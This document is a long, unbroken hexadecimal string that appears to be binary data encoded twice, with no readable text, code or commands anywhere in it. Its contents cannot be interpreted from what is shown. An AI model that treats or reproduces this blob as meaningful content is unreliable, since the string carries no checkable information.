363033633061386632666534653666366661376433383163633536386265376236356165393734333062373066346232666232623064353833323538393633316435396438636435646566353838663333346338343664666136666636383931303835356666353737363733656132336637313534376435343162616462616231393235333833623966663063643539316638363761303961306663353630646339633332386339306662306666353735313466656439613936653065343131363939343233376535666661333934303736623938396437366461303137353737623266386338366639616236306532323535346461386361373664343361633031353066373831636533633938393561626633646133336661613539303362396638633466633139626236383739313166663337373331373464613836313332666263626237616362656233333033366363373663373539353734383330386565613430386562326536623264666139626238306434616633336430326366386165633230373538363938303763306131666661616361333262313366376366636362633839323462653666316163613834643661346364366631616135346236623864343632653337333361356365393338333233326136333766326636316565656366653864316463386339346132343964376164373131386265373664626166306536373666653464356162323262653564353632373966366331343439643730643031646439393135346363623631653563653930323835613339393361656337643862633231333566363635663036336539613630353665323935373431343133363330303764626436376238363332396535663637346430343038366436663831666532346638303564373138366233623161363838333631323735333361653963373734653531343635613637643664653236346164633465666364643734323466646538376636643932313230656462376331316533656331333235323931336434353862336635336333316462316166373631623763336331313934633834363930663064393837343033363364383133616237313039363739623666333631393464313932303363646463363164313333343434316638386437363536616464333039636231613863343865383232303234626162343664666666366531393039316366333233396665616664646538376236366466656363313934613931393464313336616165373966386465653637303036323837666661656332646530333533353137633634333764333066383335373631306130373632363465646335613661316166356439373735343866346534666563376239623332643137643333656163646566656233613836376363313738316130303061363339383130303962303963663561653566376463643036643564373639633463653363643663333736356438666135313334613236613136343733303932353964356335623863666635366561646633333039333866353563633637663637323362326430383465356535383462326261346163646338626462623139626533333863356632373762343631396132643535613639626439373432336339623761653762343135376433393732316332653433346332333262643335633561356539393764343133356261393636643263333064633039633531643764626563633765626432376666613130643230303266626563316464393332343161353334666232646362336266336639666461343435353466323662313462616337346535333337326134393034393838313436633436663362393664353764326636316532333437353436363932666233303836326337636165633637303930633264663166343434393264376235643065383161666163633461353338306365643935346533356333646137636662653534663864616330336535633938323830636265346431616162303161343330343433343133356235633563346232383462346230393635386462386662636163616563366364316234363961393363666538643835326363383436366166663139653938393361623436333735353139356466353063346630666662323536343237363231623064373366666433336537653438346665626266333363333030613338356465663132663837376636393365613638346136376461373064366538626664663434653733626661373163363531393730666437646534663165616263343235643233376661643664333832646464313962613030366137393562346232303833643262633865366264316465616563613866363330356166656239383963313732646533663062323462613636336565633239636637636330323235336635663639383762623466633233383363653732666538316231363566326362616365336661636233336435316564353762323632636135323439373937666564303962346461313864346631636632633966346665643330623862393366626265666539656138613365303164386234343336366666633366333039386363393063663965366433356263353330306561373533336233616530353431633633663733646265613132663261653739333330323264386432393033666630383531333437373563623165343737386461373437663433623865326637653931373062343065623566616564356631303162356332613731646164353836373833326633626233353834363832616466346235616437363862643464393937636565663733656361303637616666626437346664323337636363613365393166363033313665386630653836353637623638643862306361663562373162323031666463636637303662333031616238353864663739393066363663666665386436316362633031313532376163626564623531323931666538316266353964303835653038633333373738663636363731663064366131333162346261646435396461396333313536623366356135353964626663396666356635383562313531376633303964303562373861303561373333656164353766613131623563306365663632316365393734323666333337653931643432373565666135333736386335343339613363316566363930303930666163373766373339383537363762616232356234393439363730383636363266653637623639613137646263386464643336653736666533623737366632336631663335376332383934353036613634353735356162633539396135353063336561623763636236366231366134653161646463333931616634323163313533636366643132303437393832393637613133323139393164316638373163356130656634316162646434396335636332333364343633613530656430363665653034636465623236313666313939653065353233316636636365306434376635666133333961666665623937643765643666613565643431323337376434366439366461306635373939613365646633636364313765333562643534646665623064316566356463396537393535373931386563656464616564626464323539353662663361316133343737643639656637623664326564666465646235656164396335666532356663616265663735663762376162653736626537363731373662396236373638383864363464616630303763656565363732616637643532323933326263646431626638363739623935656462336633663365646235626436616536653839636333306465613364326230343737666537303731373637313765353162646438356562623338376637383330616661613736376237666637616364336538333538316436653264616465656537656137393962623738616565663963373561666233366230663337393566363433333337623631316539383834366637306663356337633638653432653463613437356566363164626265653939356462636466626333643136313639663136356166393436656562626236376539633639366635373866303763393662656265646165666466356339646236616666623066353063376364613039316564613665626430373663343731646435623762333032613530356636396266643462633663326330336264393365306462303739353232643662663562326461663935346563663966616139376366636466323639373765646638663433636233626439666339643466373733313732663337353737626664616263613232643036353031616562643131653039623032626664393639653430656662643837363365353664646661643536366461653036646664353637393638316263663962633566616535663661303565366139623935646564616230363132653539343762623964633763366333363639666135653364623839623437393530336137623639356565656439666233626662386633376262306664303366396264306136653238343331613766366565646435633365643966356537636439323765373537366166393763613236393663313237323363366133646538646639646635376430396338613062316237646236386362653837613766613164643935633333636263363561363536663037356665363034366438666264646361333632663566633063306431656266346363623564353763396434373161656463623238366264383266363139336639343965653137346163363638313463303464353864636665636539393565643363373738643832646164333837623034386436643366393130303330323365646530613666373539346161326132346635393331316666313832303534303534666139613464663162396635333538663338363136643130376465633262643433653337336164336433326235333837626561663135353332653131366463383633646565663036313230323637346137376366616134303430623963623063373037353065303262643938646661666139653962306562623535613132393236336537613138643231316462356461313330613931323636383263616330646432366465633530333035333837653430336661313139393161646338383763313466633430623861383936646330343263323436626236623335373433636132356535376234613433373333346537363466653066626331623637616337646666343138386438656135363866666665643736373161663738643766666661623665333539663766376138336265616564343631363337386338303365383166633433373431666535313765326137343762383837376339656231393938303337393835346430646261666363643262623465396166616632653631633664383663336139646635346333363964633635663164373664666338376637313333633961316465333434376636336138313266663461633937303532303231393030633333643461346336623463633237613339393537316336626230396535643232323433656332316339306239613264303036633938353432396635336132633539663164643338313266666635623431626235376135356164363066393937373830383534373264313962343163346536616361666666653963363230353365333361623166633463306266376438363264646331636330316131613336306131646337313961636137353236343564363162656634643035393430656134313766366531613465373264303139633034323630623062306563376136646231653866633934363761383937353464363835303537353039363432376465383130353135316161663261376131376265613935343962326161616233626163366133363939623230393835313864363630663136393439643432316239373035373361386637393330333134666135333530626434373763643337633534636336363431373465326336363761303065336234633639383134343530353034316632366465613764336461313066346462633866633335653263326336346534353639333163613833346130613130336430633863643765626237306162363536663335346130313639626563313532643239306332316163383766343039646237396133653630363265346164343632333831643839613461626434646633613961306432383435326133366234386266356430336562623935623064376166323466613836303032376165383437623364643266373031623265336531346263396566353663396537663833353965393338353636663764313163386139663330656532363863383565633165643939343036613534323732323836373734636237336162316364336563633935393464336331336663336138626561323735616130366539356635323131333638326464343332613633663838633635333336623231633162306439656439366161643031643530383133643537376161333038666333326463303236613638376137383134666266623865306663316434613934363362633362616437303734643836343661363835396464343530303133353937313633343039316561653930373063623065663830626634396338643235303330376235316132336262613065323633353361373633646134396132316662373166663666613034633136653631313739326633323065623536636262666161396331326466363862636266366432373763646639386465336336663433306433366431636266316235643134623965646134363031303636643534633236643963643663346139386466616434616664623833376361383435366631376634333539613164316562613733656138303464343231663536613430636665383830393936303235363036366236623238333333383134333565383539313237623630323635656239346439303363306130353064663865633234623965333164363263346666383962326331326638393036396633623465616662626631313963623665663039643132376134386439633363656564656235646135363230633631333039356632373036383064646439643331633563303531393638306132393938643039643039303033396234646235363332383336346233376661373439613630306338646136613266373135353331343333313035653831666666373463396262353664333461343236303035343533313965626236333265616433313665313538623066383761383361656531313863616233333531613261343365336337633862303964653465376434303065623361653931616261306433623039346332316530373133306537646461616339643738653039366162323065376137613432656531393864386264336335616463336264323365643065373833323536386137376534633035343031343334666231356138343039646633326431313734653665613333313161343234623132303461666637396636313835663564623438313633343033373637316135613333663161346164336561363332316464353137616661333334623661653863303762396131653236343166636131333533343738626462636631373530623537306232633563356532356132613831623861666561383962356465613066623236316634626139373830383039623333386331643538316434393439643134383661623064376430393061353638643032313933663438356637616532303734323466346666353639303538343136616334306138323165353262366164363139643736643038396162343638323630326265353161613630656363313738643466316433343830333465396534303265376264646536383138623661646138643263343135303463316134633538643830636431343336313764633139613066613636383065613966303165613266636638306335666633373033613431393230343635643761326465623865336130636164393465386231343463656239383031313963396631643463316535363634376537643238646663326632613134316165306637313366646332383832333038386434656164646565333362303233666662623564636531363130393163633766393937623231363766383863346330626536313766303234653463396334626162373430613465386331666538616539316465303665356463366637376363636636643765363936646633663435643361303737386233353134353936333733333666613438393931623863396265343362303336366338613462373933646362373036343032616638356632316530316530333331333036663333383064313833393033643631333863336238656263656136643665383063666430653665366162363233613739383861633262313330376635613531386539393130613366303631303261643836646337623832353765306433383332326361323036393765646566333737653235313830366534656430323731323232666233653637646563353935666634353365393262306438663762396662336265313238633661333331633966633938363037393931363563656366663361666534363163353534333630613765323235396536383766616430643031663234343732616634383733623037663137373136616638633339323731313465346661323431356433306565633363343733343438326162616330326133366433386466386365373938313865306230626231303166316337373132303261643961303830306464333665613962336663633636616365373930633738313538396362626466653037346238636539613236613230386638346361316637323236646333323961313930316639623733663432316663313030343466373962316362656530386565626566333132313331666563303665313365383233616535663336343335353332396666363066303534643937643832656137666537316232386361646135323633323766636132386430316366366632636635626237343031633238613761643530363430383536373963306661666531316532646439663638316135333761393533366433366665373330646462373635373539643835313461653839643732613462333934306637633161383961366230306364653932333961316565303463363134623062386165393138303036353834353661663232376136626566653134393733306163653832626538383163313336376262333830343062653037616638306334396366646530623536393032323036623131366238663238303331343231303564333638323639386136313162386634353135646662316638356131343832303536616630343662323764343937353437663032366234363063343939356237346566383532376139353036643031643562323863393536383864373730623636373662663834633865366665376565353865336461336131616635363838346537363035366530303836333236623661343836626664396635306233366565633965373831373061653635633235363235613762346230643936363231393339663333336631373332653933636239303466633239306137666137386464666534386235376634333464353838646430613566303831366231333235303438663165393364666337633465636263626335383932633261306664666238396338323866346464386534633263343034613134343336386134613836643932373766323830633235363638336234383031663439623534366665643464636561353464353364313163343161356637643565396136386138316236646233643130333636306637663132373335646264646630363264646631383736643530306562663133623362383134326661633061633331363733383731316631623631656265613935313635616166353931623863383630363839346162643236613663666331393230316635613563623837383731636236633033363664336237363463633337346631613238636639313134343638646236613363313038623039633162373330636231613138316331383435343738656664616662666263393239633933306639316631656138653231663938646661663034366633626332353835366266643262356437636632626132356138313431336131323234613237643932333430643535643938333231316463313531343235363361663837316463613038333463316364373261326262326239373661363862656138383935376664623564313639396163333138666363336533396433373164356332303531333830396430376265376664636466363539373537353666626362643737643534613964356435643164666662383363623262663539346632376464653266386163366239366366663665616466643663616537383733623464376237623637373866646563363466373165396535333266346566336531623062623766626662326438313837633333386364356135646363336461663235366162626537323763376562663763363139616336663535393762656237343739626237396563313438376162363637393664366462623731353335396431643332663964663237363661373161623532636665343936373762366537316236363435626661613963366535396333633163356565613065333263336536343862393561333935323565626231623966393763393462393638396665643564623663653162636537336666663161346465636536646164326565663635353739663162303732663836626436643066386264626633396262393632363637376237623762646634353864636665663135633164356335376436633664376164643665316264393564393762376164306637356165396331656564353461376437343731616439663939636436623764623462343732366632633164646433636435353739653863653165353936353933313037643665396432346466396263376233346666373439306661363132663964366636653136316635663861626235366339363965373265646266356564393763336463323862623534316361353466396562376565313762333837633761646432386135356266366664353166396138336661663961303337316133663364353436663265336266356533653534616636653565616465646334633362646638616464366662623962663561356561663264326539643363393433663365636634373166396563633162343165386464336162656237613635656262653363646537666465626361663936376231376137643765396331656165303761363562656261376633313365356661613337663465656638656361393532666337313539376635653364626231653136626633356161646639636531653336316536326135623161316631353762373536373766656666633630623162663737333465386566663434653136326638363137356266366663623265353563373532656266326437363065623961333537313836336261386161656466366336643536353630666337336238373537323763663939623562336535653562326633643233393762353864393261653630653332633361373364653764386339623566356662366137646439313935373466663739663962633664333565366265353731666663376533613137396236353437616465376437633563636264643366616339613037386666646333636364306261646137663139393761663837656463376562663164656539633964393465326666643734646431643664616535643636353265373137396231373037393564646133643266316638363665376534373437306665643264643764666337316132366635643635656363626564633666313933373966633963616565623437333765643964383766626631646563336435663262373663653665636136373262656535373439633962633164616665646561336239613636373030646436336466656133666562323763663935656164326365653566636331666563396339666434316539643237386439336234663937373265646531363061663339383065326535656336613636376362343932336162633365623165623937633764623633643339636366386330373962386264353733363361623363336535643162623437336439633331663137353764306137643765363565663634313566336435383564346332646235656537373963613765376333653365616565643164653764656565616536613233616365366338663936636363333565653965383631663763353739323864613939666266326532343934656466366535393964373432363662393539363262616464346135623366353732643037323736636532623436616562343339356562343437653563353964643466306639663866323437363764316230313663626162386436613561636638643261633763333661323966356564666565393638366266653338373562613537313035653033656262616464633133313139356539633335656639373036633565646464656365383731376536663739366234376366656365396366663534313762346465663064636665616436633062396165356665343936643366626137336239373637653666366633633964656432653564303338346661643264373561636432663362646464646165653263363566626264356366663330663533326161333662656535616532653336356664366365373765373566306539373966623637366364373462316433646535396265376664386666373666616564663137346230366631656237393763613962313766373266386233623337336437336537633763313839643133393564633935383466613563366664653539613533336138303365336535653363643262336633666465636335373936613635356335633339313936663735303661643935346336663735633565656537326565653437386636366439666136363666376562336361376261643837366638663962636662646365653861353632613732663332613761646531653165396636373036626235656561346562636632623866346234663562336637363937316166376635613765366362653964326532373532363364646661383565336630663462353733666165636163643837396439626631353366393562643533393738623964666264333864663662656533663962363763373462396464646564363535383862646466336632356536396263373436636234366466336139623864366465646162633965346666646238626531393966373461623137393936376562646362363965313735373665356166646364653562336333383738373531626162383733623162353738363639646637356537366637663538626464623566626336643366356664653163656431663163313738373566656535653065386231353764636262616364366262613764373635376465623739616433386238646536646438386666643631363936356266376162663738373637346236666262303761376662656264393335393365616539666465366635653664646562343266346138366265626362373532356431653363316435376662613732376337386639373037313738623437643766333866326238336233636138396239376462613363316161373732653364636639643238656435346637643762323938656164646363646362653234616662636363636165316364613266663566653839376435663263316165646337623563336661386662643761346264666364396466356365393632656337333764623037333739396632373161653965336533623165646533373561383737366237373264323362313966346236346163663833393764356133666537336237643535636464376135616264376137613363646239656166613730663362376136356231356661636566643766373961303062646436346163666666653865643335386135626535393264313162306563363864666237346562623062343361373831656265613436666232366237626437636632623037393734376664383339623237363762666138616666353765333463646633343636393765623739626562353865366635633963396633373566353636636264616464656164653938633366363831376539666439336264656231663737626533366638336333373665376265376266303264623733643761623036653265633761373864636462326231333336663665396665646564356134666264373266373731373963396231623632653536636364333935303739386263663337623366346562363732643763363535616262643535326635663536396465633561663135633166396561373265303763646133323766336534663836386634663236336637646265303731643161396165336134623639313865386363373637646233333962656234636630666561366237613331623535386532656230326637373639323464383437303332363735626133363138333234306234636338386262333233303166346563303737393236303034353461633238356336373065336436373933393334316461333661623131643934363131316262373738323137386137626430303064363731643862393138343832643664353334623238336538313230316539346464363764396531363936663437333130393937336637393836326335636536386531656562336231373634666237336464376265616236376164623633666432323564663830343530303537346666323439643365613838643236316565366238366134633633646363343733396333636361646362646136656236623562343834383432353364313962346462343132323466376166633138336539393365336233326133333961353835636363323935663134626130636236643735333239353535393537633463646230316134663836306334343938323439313063346231623637653564336633373261353561336233666462303334393233613961366663363239346463656436323837623236633934666466616336393834346663643266396439343134633438323865383732393934363137363031363336326130363238653161323364653832623062616632333133386164373761663737633331323031613765393865336337643836633763323235616332656231623064643162626630656636383135613739633039653061653138316265333834323462306136383434343338636430633462663636373063636430303235346337323363616437653937616565386666333764343763653738613964313332363164333631373439373331376438353763396133396639616661306362663336363263396666376338393766626534646531663739343864626463396464356334333166376235323264613330636433626536373763643236613730353162613661383537373863313335343431343835663438643066616364343765323738396531313033616565663838383533383435386463316465343561663536356539666633326163383963313135623139376431346535326133636331623338376632313366616632346434306337313434386535383032313664396265343235326430316361356139373235623232333039646638343138373430363335366130643262326339343162333930326330613734663838306265343763633065333165343737383862646637656236653962633763643433373966333434663837653165373731666535616434373163376432376232363463393734323231326436333734623939316266386263646265643065653235356639343338353764646133303435373833363732616466373433353966666266393066656261353831356566303761306234376132343034313035396365313333353339356231393730306165303066663932616139326464663839346331333138313863393063653638336331393064653666666663326237653635643866396430663238396663663564653332666233316635623661666261333936323136383664306531663538316433313938653334373630383662643532353562636661663232353366343139633730663430373832383831386634306662623161396438363131383164613363376338663561333636333936663232353631383636323530323335373936376531626461316663373437313738653930326639323465613830633130326366353236313261383637336538656462353261326535633830646630323666613034643334333664376332316531653330373630373764616630653535656532333539653236666363323733363638646338363035363364626332343330666361346538326565306535613264636338393536323239336365393235663732353631373432653537646237343865316131316135613864316133623264363064653865636438316531663934363635613134363030383436643836356635643638613433326139643139633832366439653031373337376161383834313464613836333335326533326136323763356631393630313662346432386664313161633332336537323835616662303265306462646337303663666561336265383337333563363230383161316361363364306538613231623633643161326432663132313666306238393330333664663237323133396136356435366538643032373439653334396537323337333338613837343230343563303062316233346338316132636231323437633533353230646261373165323237366330303932363131373533373362366433653430633165306263303365656233343866343764633961313961396537303030623162363733303332633536653337323630366132343133623439663961393631393066663130323831666666663965613361303263376232393165623765643237363838666233393633393665653839643064373330616362323961383635653336383663336265633533656539373232376233653439653130663930653835353038366331666231353135396261646663633438613565313565313835663637363038326332306566633165313731656432653130383161376234616362366437323831306263303735633230653762373230323432393439346661363038626262653835356333353061343538393464383238356561663363303538353766346331613036626232356263316434643363323738336335656330656261643835313166323732306132653334306430356330623439643065613363346264306463323965396335323737646636386230326234383561356130383134303163383234333338656334636236663864353139323136646438633631343530303965646637393839623965643839333166633436346261633734336533366532386563613262393063346231383665353631376238383137643336626362393237383834636665323633373365633136313536616335306263313338643434336465336639613436636361333932386561393139646138343838353466306235633539393038323732303266646638613230616133376637376465393230373161373563666461653461633231383366343566633461623761313738366336653064643134373734616335633262316531633238666634623239643738653865616237626135373233636566333738646431663238313662646538613837353364396135666237623636653032373665376335356166303064326563356166306531636231316638636663626437643064306230366562363764353636353766616339346236346230306635636431386636386432653038663863323230346162363363363365666332643430643264313963313566363162663165613136346163633562666238646636336631373565646362393732663561316336643430623838313135396131643632656431343534303939663539393066633835636264396563396263383034363339613962326166633037376237306631396631343562303664616338346431323335376537353332333439616461633637313166663161623739656562373362316139326563653730306236643565326330356562666531623537363030396137373063633035373232336238356563333133373730376465316664663937313035643738343030303337636632613834636332356362313561636535383166316136666530313739633434373133356234636166313736663562323738353636366163323462323536323034616239363036376561383037653232646464633334313437656339373839343934386365393732366264643337363364383233633130646331356262633262613164623562643866303532366165323262306332366538613162313338373139623534313065313934306538316431353630653731353661633833356532313337343838643961623335626363613961363762343336303762643331376362636433353464316262323763333332636534383735336363333432313635353331313734613465653136643632323863333033373865386538666361626332613464346332343166386433303264613532363733366335653662646533373531616564316634366336666130313462396436366536323462363739623334646662356233663265313731313562386365643664366439393466393332363535303938393666633865656132336238343431623864383536646137666563633339633535373566633230343266663838323837633831343766316563383063616433333734636465363939353162326435616639303939363734313235666235336636326333326339343762643439346135383965373236303765626164366139373563376432363361336265363133376634383131313633626232623238663532356162333762306661383033646536326638316566643635343835643933346133633162636366313031613664356539386264323935646266306534303734613733373261306261386630623838366334666362356136386134366562646532663866663736623235353837343461383434393332326264663430646662656463386535353462626562313036393335613461643866393265616461393634386532666533363561666133313935656636396463313265326562393666373836346132643538303335326433366130303635393265336465373063366338333863373664386633316339666631616362343635653265643133363861643538616236636136363533643161333564653237636361373463313066346262383638316337363832366464323566633236323165326264306433623037633362366133373431623238636434613432383564656236653864626564643863633537646461396335396161343534343637346634643730323139666535396339633764643864346439663534316362373363366533313235373530316265313661313664386164373265653665663234326137386564326431646138366632616562623165396635663236613533326535366636386635356662656135623338353130623036363566643931363334346165313861626437643366626364396166633236653439643262363831323036623661326334336163323031353433376361386331326135633430616239616238316166383033303261656662353830333764623764366238376264636235306439373337336666646365366364373635313934633536666466363465373233343937336661646666666132336563343133623263306163653666333266346361303337633736316335336133303638363336333238303264323331313932323931346565346630336334363164396237643363633833363830376461306664373034316662613438393933366332663264636632343239343933636334313365346136613261393439626464396234343136376563313837366563306465653030646331356530336462343439393530653938323532336162613930643132306334623963376234396239393263393232303838316438353136383532656633333038636537333562626464373139653536346461633732396232303338336565356136643264373137343765373065306366383465343161303164383561323265646366656165393466333533366438623833626131383537353034343864623663643437653863326363376230366263333531396630313239363966656234393763353938613837353464393831316231373437636332373931336332343532323632346163316134366338363530623633306131646538666236343566326439353462313531343232303165653963613263613066356130316630666362323736633264373666616433323239333034623365373962323639613832326662356537623530343965633165303163393330616133613132303965383666623263323935623839393063353164393536336336383135326630333264373432366134613964396332333034656130646435343936306431663566326338336632323236303864626139353139326462343636663731383737613966313638656338316564393436306434643862336365333063333730626133336164613734653461303564396166646136333562363137333264396135306335666630623361643632663931353364336239666435323039646136336566343439343432653164646565363764323137653331376530313664363832386362386161356362333532343665643061633333323336383735633737303465373461376233636237633865623964363363646530316238316339366534656536336331356464656363653635393365326130663436323266313037336666326531663133343632636632306230366663306636656435386230393535333834313665653638386638656462653934633537386436343962316539336663633838643537383235393166626338653639373761643761386461303661383439323361343830616236323637376132653862663930653538666166323137386332336561396162333465646433613738663631373262663463323862306565333164393363366631303263353761303335666533333463393533376161656335343231333032626538303533333465316237666663326364666334303833313761303533396264313230356564663765643330333330326166656364343339333230396366653434323763643166616461346439353764313736373537303131613136333233346462343162613533653263313836323432393364316662383934663161663862313839376664323232363433393033343138373332666630643632346130326635333332643732373063343166306461303831373438346363636664613833623031336132383736383031383963343462383931623863353833393933313630656539636633326266636434356161623165396532303837616439366639653765316339643664653939313661376364633065383366613237333466323834353436646338383036633631313330343234366363636438353663643730303137323066326166616630323132336634303930386134646630313763326532303332333661376564343262353964343131386130343066316361346663633431303363666430373936656134366332373461663565353965616162303834353039383233383435303730623139663135363736636230373037623564326631313638626438613639643663616438646635646436326662653666326338616133663137636439336464623334313733653761393762643266353566623465663664356638636562336236623164313037663965346634613662363966646561636362656139326533356561663734663236383834333462376233626662666465626563396135646366656461646564626431346337383735626638386665353337656565396633666565363732323937643733623533373766623237336633353865663966623630356663353536393366613765663734643333373137363366333034653034666261646463376536643535656262373235353663396635653965336433343761313732663864653763643431653336356663373837646266643839653565376566633738643335623162333562373136353730666232343764643761316634343335353662666139356633363232656164656262336634613166656439633032636466303164663261353332653664653061656631376439313934386666666365316532613839613339646262653461366639376366623666376661353735356137376239646564336365653935663661343361623137656161366231656661616230336564656164356233346265396264316465636437623565373133613037356566613562393735663637303338336564633036626162623466613339333964666436376666613738373862646135346461303464316633653962313731396636396563393938376239643366346364643665316436363636333066663261663762646466656334333132623664366534323166373638303065643630376135333561323035666265616261666133363665613931646432313834366432663835636166366333613337353736373536336437626261623639666462376336636534346566623762336231376133656264636439353236336537376336643366396263396434363138653335373662363966396234383437366564663339623833636562333437376361303062376434613935663032346363653962366266623266386265363731663665323565646635393664656662663363306465616664636430636430396133366165333662623237393566643965376530396564333433373437643739373139663966373862376533353830646637626539613330616432646131643335373632666432303266663565373732646433643838316665646636353334656466353866333264376264636361303539646136626562393761373532666534646137626537623831373832663161336234663866643739376137363237653364643761626632666335616563316636376262626436663362646439373436663632326664616437346436336132666166353532666236656466653135623661356434366337656162356366376636623764373465643164316363653537336233643562636461623466373333653962353933346164316263383065666635656366366333396564393564643132666166616464333964636336336233373734313330393837653733373964366261653937353664373432613733393562656439616639363266643033393062623539353339363633393733316164623662643430373830643364653833666163663165626138373637313734376635666465636364613062653733646562666261623066626635646562363733353334313561316564613836643761373636363836653536626333353431373332623762333136616532626165666261663361396461626333636261626662393361376162396539356664386635646438376636663166336333663466393165633037393930653537333838663830336634356632656433616465663165373566663236356462646562346265386137636264336636623164396665626266346163663162356466393765373738323362376439613963336663366165653432336464356234633964363465383665366462663166646531623862316462356530313565643862396365336166643436366632643533656639643265656665643565336364373462656435656533656165326231623965353538636464646233663162316239666164383030316537343733343530653762346331386133313166303234653732306462373561653266396264646336663339613739393335396562646566343665626162303736363032653134343733373330633766366662646239393761656537346535356236356633663930366436633066356435613936333934333635666165373366626430616537316662623037343465666639616262666239643761666636383763376462353066623439666165383837363166396235306565313237656566396537353864646435336137393165646330336135626362316439626335343561306264376462636262623962386237353537656131373635303762636639656131646666616334393733393066663564333764353162636339363633616661653539386538343731653433376330356639313137633761653566313362663464643764363064646263616363653933343834666462396633386566633339643639306564353865336130626437306366613064646435393639633961393162356135323533653366393830646164666132636235306639666130396264383262306562653762633737333765376536323665363965653237343763323063323036353232646537323730376337633561646632313934613663653436666338346639383136333033646633623730363066313265323731356630343434343238613032303734383161313837663330363433303130393435626434623866323435383961313938386332346533303139343566343731343865633663326632346533636665323539636238656534376135323562356638313766383233633231343261656238613137623035306236616539666665646361343036613232346266373961383664663330636636666536346536666238363339626461356433636430323361323735346538373662663130386132326236353165633736393536646637366161333438383738663338373839663533353834633163336230353265326539383663313463333161643833356265373431623061396439373130383032323866613463333161626536393162313933633334333733663361393861626233306632346464663363656336366435333132636361323236323131623934323432343562306266383265336538356139306363303365663735306261383336663464366539623430346534366338623762396466323230336461306662643130346137373466333364386133396232363337613232613330346261643636643036323261666564373566663835346162303164383638303234303461356337613435663332313461643039653133303634646265393733386364303437353833366235613037396434383937653163646134616166636135613866396239626137383036323933353839626430333632623635306232326439616437333831663034323964666663333961353762626230633633353134383037303739356432393563663035383535656437633633636432313062353362613663636531336531336666366233643633643838363065663038383462323831323164623430323738323566653439313938653562623765316335666361356236333334343734643163626136323535376536363634373837626465393136666661633262396461316431326164636562386633613762633062346665363839396364353833616165353866643436643736633363313464343736656335363633386231303937303766303034643430343132623764613738373030626235616231626433393735353035626532396238623638303231636339396330313334346364323964643235666566666264326637626537666233323939313538396233313137363738613635313334656235306132326666343736653062633864396564336366623538363836353131396538363462363164353238373631636133633230303037613662613266623434356634326538626336303564666234326662616636333339376137373261643231613831643437633738653562346439353034626266626534386466643733333038383962373836663231346435646362386162646138363732376361346630663934383537643835363662303236636162383563306462646233653638306362663161306438663339353030306166616465353132393134376437373632373862663636383638306561346431643836313461303163386636636532633739346136623032306166663862336534343831323937653134336336353132306165363132393664393335396134366466613132303232306331373635663939313839613438396438366363346536366231343235303562306438643362313063646137653134383362366266336366643965353464383661393866656432643664303566396137656633643235333035383862383262366131346465313233343338366130656164666132353861333266396238353138333335346134363338373164393532633739653332313338663866613434393235653663383562303564313136363737623562396562663864623663393032306334656165306132663963633536663030363737363865303133636265653661303138353234333431393631663961613164346331376564356238663566353234353866373934396634653230653534326631386434633336636461633537613934343831396666666662383031323138633130616330393236613332393932346536323932653431353832316665316163353835393736663461303435653561643166633438333836323834343865656532613738316132633732316139333031643334333034343538383064353333623131613133373664653131376366613662653261393931623566393461303432613134653561343461633365373964653861326631303962313161366462333439393536326366613131336235303863656164313239663430656634383764626163663031343538323263346337633639613030666138356665303366396136393233623333393031346665663139663237383739666165653262643739653532616532643935366230376362363139343433626366616638653239623039313363383730316233663138313333313531623664363665666637303732666436353632626537636430386664366239353933323739616132623663333063613430636663336432653236373763346130623564376365643631666234643932646130313932613834636363393733663835613437363930323433656561643835626332373863333162343339363061376635386132653836383663383730636363396163353532646231633138386638653631313361666131353238323832316433643265393863333333366264393834373464323164343862666330633536663263323030393738653838346335666333636437356663386530313765653761343561613037616436643431636166356233623630316130363538326166313639363763663339613262666236613230666261616532316166333536346464633932333532616435376334663335646637663265383031346339376362653034616232353461643162333462393235643930303438386261353565333161626164313631353065363564353234646131346363636535626533393061386365643161663130613139373361386637343162316430373435306561356566383664303230316336333933336131316261663138346230336435316233343738623637663331363437383537323332343765333561326531366134303861653765316331376439613830646231623161613830306138346466306161353235303935626166313564663139323934336236633866633239613665646263636162383566363831396363346561376439333739343161333438353865623861336433306662663934303865653931386363346464633032386466633361336134663033646565373138343134306337656361313862346662313432643631356538363434333166303663313961646365626463626139326231663363323664376233343231613163633239623438343630323739323133383266343533643462333237373538623364363361666438333337353861336438393832633864613637613966396564356132376434653835396530376466656238373535636161356539663934313562343535353134656365333730666636346138616261393034613564653634616139643435363735346262396461616431653165323839393634356161396332333262306239346261633534616137636134626165663234633765333731373239633462356163333736616137613936376134323563313932636363626661323666376562373634623265393334633964353239643566386434656266366564343230343965636364616461316132626365383064316362316237613563376562666233363032386435333334303036343266383035653363376338376332636638316532316138306162373939363732363534363462353933353762383936353631383339616438353535663466653262643033303562616162336533636465333661343532613761373462633737623435356265346138306636623137643763373037303763633963623230653765313462316635646435613238363665343261313138323939656538336431316364633735353635363838303338383831396332316138623963313061373965313632383264653537393563346532366437376465656433333464373936393462633263383633636534326130623461623438666463663566353634353235386437666265393134326636316431656563653465623632646162646433356634303133333664346230313462663938323834373739663062646233306161306463626234653738666662303636663031353964376332383831386363353932656664393463636433623033343636323433623564626461653433313636633161653830343463353865336232353031383739393665383737656338633431343337633139373265633164316561343834653733333337656330623638303262376165616362386335383437373566386365376361623866643166346531643134646565376465303065363862653230636539363530363932623934303436373465623363343233643833313537313034316634643633346338306165376236643663623938656431666133383230343232636630373931313830643465623430656663386131373333393863386564326561356165333835363734383166333931366136333163376466306162613565633639666463663362376232623862323234343839653163666138326161313237393532633031356530313736386464383337313537393661316333373864383539666135663332343738373839383138656365613461396232306665313238316133633463633736343461376563613664663836353263326366343038623536373032363965663661613636383635383831303830383965353530376661313366616239396238376661346464383839313434383936663532363564373138316433633131336461626633663965393065656262616332356333646633633934376433636163623433393633356230346439626537393234396639303231646264616332623764306238333339666236393431326533303739326532316130316233333932663539626534386233653361313865356534383134373663323239383237316434656666393461366532656165613966313332363266616561373430316364613636653230666430356564396364383939373438663834303539316637346635363766343934366633356338363539656437333265366166316539666431623233613137373237636438663964343132336630353464653233373064343338653936306562363231313431633762663262323064663635373263623339383530313635373133636130613364633361343231363237353266376136633438353439663539363633636536303365383631333663656162383136353732626532313761393862393431613763396533663666363132356631663063303236383866636166366237303332373931363039396234613561323931326531303663333962613633633431366436643234646133326465386535373337633063316261376333393333633837666563616433343231376264636266313063373733303463333434633331313663343938313064373863396137303938323130363637323965336636383835386661376337393130393933383236346265393030656630653337373766316366343061663265326438373139373736656630633462616334313766653338313866646438333735666233636234316561373261623665306136663832623734353034613734313136353663646561333233303037663663363932666133353334633835333762383933383934663934326534626239333431353434373964656433366438656261343639653334313164396135393039373661386237383662643435316365613937613135343533623031626437656230363661336230393766613264653732653465386532316331333837363566623635373831653265326566396536323136643834656234636131396164613537643462